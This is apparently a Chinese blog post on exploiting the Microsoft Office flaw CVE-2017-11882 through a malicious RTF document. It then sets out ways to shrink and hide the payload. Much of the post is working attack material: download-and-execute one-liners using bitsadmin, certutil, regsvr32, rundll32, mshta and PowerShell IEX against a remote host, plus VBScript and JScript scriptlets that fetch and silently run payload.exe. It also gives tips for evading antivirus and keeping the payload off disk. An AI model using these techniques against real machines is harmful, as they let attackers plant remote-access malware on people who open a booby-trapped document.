漏洞原理移步 FreeBuf.
环境 Windows 7, Office 2010.
复现过程
unamer/CVE-2017-11882
Ridter/CVE-2017-11882
以前者为例.
生成文档.
1
|
CVE-2017-11882.py -c calc.exe -t 1 -o test.rtf
|
打开文档.
成功执行, 且无其它警告框.
改进载荷
这是一个缓冲区溢出漏洞, 这种类型的漏洞一般限制了 Payload 的长度 (具体原因不再说明, 也没有能力说明). 对于功能比较齐全的 Payload 或是 RAT 基本上都会超出这个长度. 一般有两种缩小的方法, 使用 ShellCode 或是远程加载.
上文中的利用脚本已经集成 ShellCode 注入的功能, 不过我并不太推荐, 一是不能灵活的更改要执行的 Payload, 二是向进程注入 ShellCode 的操作极易被杀软拦截.
仅对远程加载进行说明. 之前我也写过关于远程下载的文章, 不过存在几个问题: 1. 偏向于文件 “下载” 而不是执行 2. 功能单一且拓展性差 3. 隐蔽性差.
针对这些问题, 进行远程加载的程序必须符合以下几点: 1. 易于更改 2. 拓展性强 3. 隐蔽性好 4. 尽量不落地执行.
bitsadmin certutil
这是仅适用于特殊情况必须文件落地而提供的方式.
bitsadmin 只适用于 Windows 7 及以上版本.
1
|
bitsadmin /transfer get http://192.168.1.1/payload.exe C:\Windows\Temp\payload.exe
|
certutil 需要删除缓存 (%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content).
1
2
|
certutil -urlcache -split -f http://192.168.1.1/payload.exe C:\Windows\Temp\payload.exe
certutil -urlcache -split -f http://192.168.1.100/payload.exe C:\Windows\Temp\payload.exe delete
|
regsvr32 rundll32 mshta (sct file)
把这些放在一起讲主要是因为它们都能够远程加载 sct.
命令执行.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
<?XML version="1.0"?>
<scriptlet>
<registration
description="fjzmpcjvqp"
progid="fjzmpcjvqp"
version="1.00"
classid="{204774CF-D251-4F02-855B-2BE70585184B}"
remotable="true"
>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>
|
下载执行.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
<?XML version="1.0"?>
<scriptlet>
<registration
description="Bandit"
progid="Bandit"
version="1.00"
classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
remotable="true"
>
<script language="VBScript">
<![CDATA[
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim http,ado
Set http = CreateObject("Msxml2.ServerXMLHTTP.6.0")
http.SetOption 2, 13056
http.open "GET","https://192.168.1.1/payload.exe",False
http.send
Set ado = createobject("Adodb.Stream")
ado.Type = adTypeBinary
ado.Open
ado.Write http.responseBody
ado.SaveToFile "c:\windows\temp\payload.exe"
ado.Close
CreateObject("WScript.Shell").Run "c:\windows\temp\payload.exe",0,true
]]>
</script>
</registration>
</scriptlet>
|
在 regsvr32 中执行的时候要把 script 标签放在 registration 标签内才能成功执行, 而 CVE-2017-8570 恰好相反.
命令后面的 scrobj.dll 可能会被误以为这是保存的文件名, 但实际上它是被 regsvr32 调用的 DLL 名称, 以此来执行 sct 中的命令的.
1
|
regsvr32 /u /s /n /i:http://192.168.1.1/cmd.sct scrobj.dll
|
在 rundll32 中执行的时候要把 script 标签放在 registration 标签外才能成功执行, 与 regsvr32 恰好相反.
另外注意 RunHTMLApplication 的后面有一个空格.
1
|
rundll32 javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://192.168.1.1/cmd.sct");window.close();
|
mshta 中 sct 的标签位置与 rundll32 相同.
1
|
mshta vbscript:Close(Execute("GetObject(""script:http://192.168.1.1/cmd.sct"")"))
|
mshta (hta file)
与上文执行 sct 不同, 这里执行的是 hta 中的代码.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
</body>
</HEAD>
</HTML>
|
使用这种 Payload 格式执行命令无须担心 hta 窗口的问题.
至于下载执行的方法就不贴出来了, 自己尝试吧.
1
|
mshta http://192.168.1.1/cmd.hta
|
powershell
PowerShell 想必大家都不陌生了吧.
有两种执行方式, 一种是远程加载 PowerShell 的代码来执行, 另一种是直接下载 exe 来执行.
1
|
IEX (New-Object System.Net.WebClient).DownloadString('http://192.168.1.1/psh-reflection.ps1')
|
1
|
(New-Object System.Net.WebClient).DownloadFile('http://192.168.1.1/payload.exe','C:\Windows\Temp\payload.exe')
|
URL
也能够通过缩小 URL 的方式来缩小 Payload 的长度, 例如各大厂商的短网址缩小.
需要考虑这几个问题: 1. 是否有时间限制 2. 是否是 302 跳转而不是通过 HTML 跳转 3. 在某些地区是否能成功访问.
就不细说了.
一些话
生成的文档是 rtf 格式的, 虽然更改为 doc 格式能成功执行, 但如果直接编辑内容, 漏洞会执行失败. 所以必须通过 rtf 合并来自定义内容, 在 CVE-2017-8570 中我提供了具体的步骤, 当然利用脚本中的合成方式也是可以成功的, 只是思路不同罢了.
另外针对之前的改进补充一句话, 对 rtf 中的内容进行编辑保存之后, 原有的 objupdate 会失效, 需要手动再次添加.